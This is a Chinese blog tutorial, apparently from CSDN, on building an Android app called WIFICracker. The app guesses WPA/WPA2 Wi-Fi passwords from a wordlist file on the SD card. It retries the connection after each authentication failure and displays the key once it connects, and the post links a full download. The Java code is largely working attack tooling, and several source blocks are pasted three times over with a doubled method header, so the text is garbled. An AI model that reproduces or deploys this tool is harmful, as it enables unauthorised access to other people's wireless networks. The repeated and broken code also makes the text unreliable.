但实际上,通过命令行启动wpa_supplicant却不能成功,因为需要先加载WIFI驱动,然后才能启用wpa_supplicant服务。在手机WLAN设置中启用WIFI后,会调用WifiManager.setWifiEnabled,这个方法会依次调用WifiNative.loadDriver()->WifiNative.startSupplicant()。在加载成功后会设置一个延迟时间,到延迟时间后就会调用WifiNative.stopSupplicant()->WifiNative.unloadDriver()停止wpa_supplicant服务并卸载驱动,这是为了给设备省电,因为WIFI驱动长时间加载可是很耗电的。
命令行本身无法直接加载驱动,导致了wpa_supplicant无法成功开启,这也是无法通过命令行直接连接WIFI的原因,但并不是没有突破方法!可以写代码并使用NDK方式调用WifiNative.loadDriver(),接着启用wpa_supplicant服务,服务加载成功后执行上面的wpa_cli命令行,就可以轻松连接WIFI了。可以直接写一个原生的bin,实现驱动加载及WIFI连接,然后在安卓代码中直接以创建进程的方式启动或者在shell中执行等方式运行。这些方法都具有可行性,本文不做深入探讨,只采用文中介绍的第一种方法来完成程序的功能。
目前WIFI加密种类常用的有WEP、WPA、WPA2、EAP等,WifiManager将WEP与EAP做了内部消化,WPA与WPA2则使用wpa_supplicant进行管理,目前,由于WEP的安全性问题,使用的人已经不多了,一般用户采用WPA与WPA2方式接入较多,在今天的程序中,也只处理了这两种加密的情况。
按照上面的分析思路,代码实现应该很明了了,但实际编码过程中还是存在着诸多问题,首先是停止扫描的问题,在WifiManager中没有提供stopScan()方法,而是在其中通过一个内部继承自Handler的SCanner来管理,目前来说,我没想到解决方案,在开始破解跑WIFI密码的过程中,WIFI扫描线程一直还是开着,我只是通过一个cracking的布尔值判断来阻止界面的更新,这个问题可能在SDK层无法得到解决。第二个问题是一些类的枚举值,如SupplicantState.AUTHENTICATING、KeyMgmt.WPA2_PSK等在SDK中都是没导出的,要想使用就需要自己添加。谈到WPA2_PSK,很有必要讲一下WifiConfiguration类的构造,连接WIFI前需要先构造这个类,然后通过addNetwork()添加网络操作后才能进行下一步的连接,在网上搜索到的连接代码如下:
...... mConfig = new WifiConfiguration(); mConfig.status = WifiConfiguration.Status.ENABLED; mConfig.hiddenSSID = false; mConfig.SSID = "\"ssid\""; mConfig.preSharedKey = "\"password\""; mConfig.allowedAuthAlgorithms.set(AuthAlgorithm.OPEN); mConfig.allowedKeyManagement.set(KeyMgmt.WPA_PSK); mConfig.allowedProtocols.set(WifiConfiguration.Protocol.RSN); mConfig.allowedPairwiseCiphers.set(PairwiseCipher.CCMP); mConfig.allowedPairwiseCiphers.set(PairwiseCipher.TKIP); mConfig.allowedGroupCiphers.set(GroupCipher.CCMP); mConfig.allowedGroupCiphers.set(GroupCipher.TKIP); Int netid = wm.addNetwork(mConfig); wm.enableNetwork(netid, false); ......
AccessPoint(Context context, WifiConfiguration config) { super(context); setWidgetLayoutResource(R.layout.preference_widget_wifi_signal); loadConfig(config); refresh(); } AccessPoint(Context context, ScanResult result) { super(context); setWidgetLayoutResource(R.layout.preference_widget_wifi_signal); loadResult(result); refresh(); } AccessPoint(Context context, Bundle savedState) { super(context); setWidgetLayoutResource(R.layout.preference_widget_wifi_signal); mConfig = savedState.getParcelable(KEY_CONFIG); if (mConfig != null) { loadConfig(mConfig); } mScanResult = (ScanResult) savedState.getParcelable(KEY_SCANRESULT); if (mScanResult != null) { loadResult(mScanResult); } mInfo = (WifiInfo) savedState.getParcelable(KEY_WIFIINFO); if (savedState.containsKey(KEY_DETAILEDSTATE)) { mState = DetailedState.valueOf(savedState.getString(KEY_DETAILEDSTATE)); } update(mInfo, mState); }
上面的两个构造函数分别针对调用mWifiManager.getConfiguredNetworks()与mWifiManager.getScanResults()得来的结果调用loadConfig(WifiConfiguration config)与loadResult(ScanResult result),经过这一步后,AccessPoints 的成员变量也初始化完了,然后调用refresh()方法进行刷新显示操作,代码我就不帖了,主要就是设置显示SSID,SSID的加密方式,信号强度等。显示工作做完后,我们的重点应用转向WIFI热点网络点击事件的处理。点击事件的处理同样在WifiSettings.java文件中,代码如下:
@Override public boolean onPreferenceTreeClick(PreferenceScreen screen, Preference preference) { if (preference instanceof AccessPoint) { mSelectedAccessPoint = (AccessPoint) preference; /** Bypass dialog for unsecured, unsaved networks */ if (mSelectedAccessPoint.security == AccessPoint.SECURITY_NONE && mSelectedAccessPoint.networkId == INVALID_NETWORK_ID) { mSelectedAccessPoint.generateOpenNetworkConfig(); mWifiManager.connectNetwork(mSelectedAccessPoint.getConfig()); } else { showConfigUi(mSelectedAccessPoint, false); } } else { return super.onPreferenceTreeClick(screen, preference); } return true; }
这段代码很简单,如果WIFI没有加密,直接调用mSelectedAccessPoint.generateOpenNetworkConfig()生成一个不加密的WifiConfiguration,代码如下:
protected void generateOpenNetworkConfig() { if (security != SECURITY_NONE) throw new IllegalStateException(); if (mConfig != null) return; mConfig = new WifiConfiguration(); mConfig.SSID = AccessPoint.convertToQuotedString(ssid); mConfig.allowedKeyManagement.set(KeyMgmt.NONE); }
在测试初期我是直接搬这代码来用的,实际上这代码是废的,根本连接不上任何的WIFI,状态代码显示一直停留在关联AP中,而且这样设置WifiConfiguration后在手机设置中也无法开启使用WIFI了,当时我也很纳闷,你都不能用的代码,怎么还在网上好多篇帖子里乱窜?后来跟踪WIFI连接的过程后,整理出的代码如下:
...... if (security == SECURITY_PSK) { mConfig = new WifiConfiguration(); mConfig.SSID = AccessPoint.convertToQuotedString(ssid); if (pskType == PskType.WPA) { mConfig.allowedProtocols.set(WifiConfiguration.Protocol.WPA); } else if (pskType == PskType.WPA2) { mConfig.allowedProtocols.set(WifiConfiguration.Protocol.RSN); } mConfig.priority = 1; mConfig.status = WifiConfiguration.Status.ENABLED; mConfig.SSID = "\"ssid\""; mConfig.preSharedKey = "\"password\""; Int netid = wm.addNetwork(mConfig); wm.enableNetwork(netid, false); ...... }
代码比上面的要简洁些,这不该有的东西啊你坚决不能有!
启动Eclipse新建一个WIFICracker的工程,OnCreate()方法代码如下:
public void onCreate(Bundle savedInstanceState) { public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); try { passwordGetter = new PasswordGetter("/sdcard/password.txt"); } catch (FileNotFoundException e) { showMessageDialog("程序初始化失败", "请将密码字典放到SD卡目录并更名为password.txt", "确定", false, new OnClickListener() { public void onClick(DialogInterface dialog, int which) { WIFICracker.this.finish(); } }); } wm = (WifiManager) getSystemService(WIFI_SERVICE); if(!wm.isWifiEnabled()) wm.setWifiEnabled(true); //开启WIFI deleteSavedConfigs(); cracking = false; netid = -1; wifiReceiver = new WifiReceiver(); intentFilter = new IntentFilter(WifiManager.SCAN_RESULTS_AVAILABLE_ACTION); intentFilter.addAction(WifiManager.SUPPLICANT_STATE_CHANGED_ACTION); registerReceiver(wifiReceiver, intentFilter); wm.startScan(); //开始扫描网络 }
deleteSavedConfigs()方法将手机已存的Config中全部删除,原因是因为如果已经保存了正确的WIFI连接密码,程序运行会无法工作,具体代码参看附件。然后构造一个PasswordGetter对象,它用来读取"/sdcard/password.txt"文件每一行作为WIFI的探测密码,类的完整代码如下:
AccessPoint(Context context, WifiConfiguration config) { super(context); setWidgetLayoutResource(R.layout.preference_widget_wifi_signal); loadConfig(config); refresh(); } AccessPoint(Context context, ScanResult result) { super(context); setWidgetLayoutResource(R.layout.preference_widget_wifi_signal); loadResult(result); refresh(); } AccessPoint(Context context, Bundle savedState) { super(context); setWidgetLayoutResource(R.layout.preference_widget_wifi_signal); mConfig = savedState.getParcelable(KEY_CONFIG); if (mConfig != null) { loadConfig(mConfig); } mScanResult = (ScanResult) savedState.getParcelable(KEY_SCANRESULT); if (mScanResult != null) { loadResult(mScanResult); } mInfo = (WifiInfo) savedState.getParcelable(KEY_WIFIINFO); if (savedState.containsKey(KEY_DETAILEDSTATE)) { mState = DetailedState.valueOf(savedState.getString(KEY_DETAILEDSTATE)); } update(mInfo, mState); }
上面的两个构造函数分别针对调用mWifiManager.getConfiguredNetworks()与mWifiManager.getScanResults()得来的结果调用loadConfig(WifiConfiguration config)与loadResult(ScanResult result),经过这一步后,AccessPoints 的成员变量也初始化完了,然后调用refresh()方法进行刷新显示操作,代码我就不帖了,主要就是设置显示SSID,SSID的加密方式,信号强度等。显示工作做完后,我们的重点应用转向WIFI热点网络点击事件的处理。点击事件的处理同样在WifiSettings.java文件中,代码如下:
@Override public boolean onPreferenceTreeClick(PreferenceScreen screen, Preference preference) { if (preference instanceof AccessPoint) { mSelectedAccessPoint = (AccessPoint) preference; /** Bypass dialog for unsecured, unsaved networks */ if (mSelectedAccessPoint.security == AccessPoint.SECURITY_NONE && mSelectedAccessPoint.networkId == INVALID_NETWORK_ID) { mSelectedAccessPoint.generateOpenNetworkConfig(); mWifiManager.connectNetwork(mSelectedAccessPoint.getConfig()); } else { showConfigUi(mSelectedAccessPoint, false); } } else { return super.onPreferenceTreeClick(screen, preference); } return true; }
这段代码很简单,如果WIFI没有加密,直接调用mSelectedAccessPoint.generateOpenNetworkConfig()生成一个不加密的WifiConfiguration,代码如下:
protected void generateOpenNetworkConfig() { if (security != SECURITY_NONE) throw new IllegalStateException(); if (mConfig != null) return; mConfig = new WifiConfiguration(); mConfig.SSID = AccessPoint.convertToQuotedString(ssid); mConfig.allowedKeyManagement.set(KeyMgmt.NONE); }
public class PasswordGetter { private String password; private File file; private FileReader reader; private BufferedReader br; public PasswordGetter(String passwordFile){ password = null; try { //File file = new File("/sdcard/password.txt"); file = new File(passwordFile); if (!file.exists()) throw new FileNotFoundException(); reader = new FileReader(file); br = new BufferedReader(reader); } catch (FileNotFoundException e) { e.printStackTrace(); } } public void reSet(){ try { br.close(); reader.close(); reader = new FileReader(file); br = new BufferedReader(reader); } catch (IOException e) { e.printStackTrace(); password = null; } } public String getPassword(){ try { password = br.readLine(); } catch (IOException e) { e.printStackTrace(); password = null; } return password; } public void Clean(){ try { br.close(); reader.close(); } catch (IOException e) { e.printStackTrace(); } } }
这个类很简单,具体代码就不分析了,为了方便配置与加载WifiConfiguration,我将安卓源码中的AccessPoint类进行了部分改装后用到程序中,这样可以节省很多时间。
程序的核心在于对WIFI状态的控制与连接,前者我使用了广播接收者进行监听,在收到广播后进行相应处理,代码如下:
class WifiReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { String action = intent.getAction(); if (WifiManager.SCAN_RESULTS_AVAILABLE_ACTION.equals(action)) { if (results == null) //只初始化一次 results = wm.getScanResults(); try { setTitle("WIFI连接点个�:" + String.valueOf(getPreferenceScreen().getPreferenceCount())); } catch (Exception e) { e.printStackTrace(); } if( cracking == false) //破解WIFI密码时不更新界面 update(); } else if (WifiManager.SUPPLICANT_STATE_CHANGED_ACTION.equals(action)) { WifiInfo info = wm.getConnectionInfo(); SupplicantState state = info.getSupplicantState(); String str = null; if (state == SupplicantState.ASSOCIATED){ str = "关联AP完成"; } else if(state.toString().equals("AUTHENTICATING")){ str = "正在验证"; } else if (state == SupplicantState.ASSOCIATING){ str = "正在关联AP..."; } else if (state == SupplicantState.COMPLETED){ if(cracking) { cracking = false; showMessageDialog("恭喜您,密码跑出来了!", "密码为:" + AccessPoint.removeDoubleQuotes(password), "确定", false, new OnClickListener(){ public void onClick(DialogInterface dialog, int which) { wm.disconnect(); enablePreferenceScreens(true); } }); cracking = false; return; } else str = "已连接"; } else if (state == SupplicantState.DISCONNECTED){ str = "已断开"; } else if (state == SupplicantState.DORMANT){ str = "暂停活动"; } else if (state == SupplicantState.FOUR_WAY_HANDSHAKE){ str = "四路握手中..."; } else if (state == SupplicantState.GROUP_HANDSHAKE){ str = "GROUP_HANDSHAKE"; } else if (state == SupplicantState.INACTIVE){ str = "休眠中..."; if (cracking) connectNetwork(); //连接网络 } else if (state == SupplicantState.INVALID){ str = "无效"; } else if (state == SupplicantState.SCANNING){ str = "扫描中..."; } else if (state == SupplicantState.UNINITIALIZED){ str = "未初始化"; } setTitle(str); final int errorCode = intent.getIntExtra(WifiManager.EXTRA_SUPPLICANT_ERROR, -1); if (errorCode == WifiManager.ERROR_AUTHENTICATING) { Log.d(TAG, "WIFI验证失败!"); setTitle("WIFI验证失败!"); if( cracking == true) connectNetwork(); } } } }
AccessPoint(Context context, WifiConfiguration config) { super(context); setWidgetLayoutResource(R.layout.preference_widget_wifi_signal); loadConfig(config); refresh(); } AccessPoint(Context context, ScanResult result) { super(context); setWidgetLayoutResource(R.layout.preference_widget_wifi_signal); loadResult(result); refresh(); } AccessPoint(Context context, Bundle savedState) { super(context); setWidgetLayoutResource(R.layout.preference_widget_wifi_signal); mConfig = savedState.getParcelable(KEY_CONFIG); if (mConfig != null) { loadConfig(mConfig); } mScanResult = (ScanResult) savedState.getParcelable(KEY_SCANRESULT); if (mScanResult != null) { loadResult(mScanResult); } mInfo = (WifiInfo) savedState.getParcelable(KEY_WIFIINFO); if (savedState.containsKey(KEY_DETAILEDSTATE)) { mState = DetailedState.valueOf(savedState.getString(KEY_DETAILEDSTATE)); } update(mInfo, mState); }
上面的两个构造函数分别针对调用mWifiManager.getConfiguredNetworks()与mWifiManager.getScanResults()得来的结果调用loadConfig(WifiConfiguration config)与loadResult(ScanResult result),经过这一步后,AccessPoints 的成员变量也初始化完了,然后调用refresh()方法进行刷新显示操作,代码我就不帖了,主要就是设置显示SSID,SSID的加密方式,信号强度等。显示工作做完后,我们的重点应用转向WIFI热点网络点击事件的处理。点击事件的处理同样在WifiSettings.java文件中,代码如下:
@Override public boolean onPreferenceTreeClick(PreferenceScreen screen, Preference preference) { if (preference instanceof AccessPoint) { mSelectedAccessPoint = (AccessPoint) preference; /** Bypass dialog for unsecured, unsaved networks */ if (mSelectedAccessPoint.security == AccessPoint.SECURITY_NONE && mSelectedAccessPoint.networkId == INVALID_NETWORK_ID) { mSelectedAccessPoint.generateOpenNetworkConfig(); mWifiManager.connectNetwork(mSelectedAccessPoint.getConfig()); } else { showConfigUi(mSelectedAccessPoint, false); } } else { return super.onPreferenceTreeClick(screen, preference); } return true; }
这段代码很简单,如果WIFI没有加密,直接调用mSelectedAccessPoint.generateOpenNetworkConfig()生成一个不加密的WifiConfiguration,代码如下:
protected void generateOpenNetworkConfig() { if (security != SECURITY_NONE) throw new IllegalStateException(); if (mConfig != null) return; mConfig = new WifiConfiguration(); mConfig.SSID = AccessPoint.convertToQuotedString(ssid); mConfig.allowedKeyManagement.set(KeyMgmt.NONE); }
这些代码的实现一部分源于查看SDK后的测试,另一部分源于跟踪安卓源码时的摘录。如这段:
final int errorCode = intent.getIntExtra(WifiManager.EXTRA_SUPPLICANT_ERROR, -1); if (errorCode == WifiManager.ERROR_AUTHENTICATING) { Log.d(TAG, "WIFI验证失败!"); setTitle("WIFI验证失败!"); if( cracking == true) connectNetwork(); }
不查看安卓源码,你根本不会知道怎么检测WifiManager.ERROR_AUTHENTICATING,这让我在写测试代码时也着实苦恼了一段时间。好了,代码就分析到这里,回想一下,网上为什么没有这样的软件也知道原因了,因为SDK中没有提供相应的WIFI连接接口,要想实现就必须要深入研究这块,因此,太多人觉得过于繁琐也就没弄了。
最后,测试了一下效果,一分钟大概能跑20个密码,上个跑密码截图:
图3
代码下载:http://download.csdn.net/detail/jdsjlzx/8125895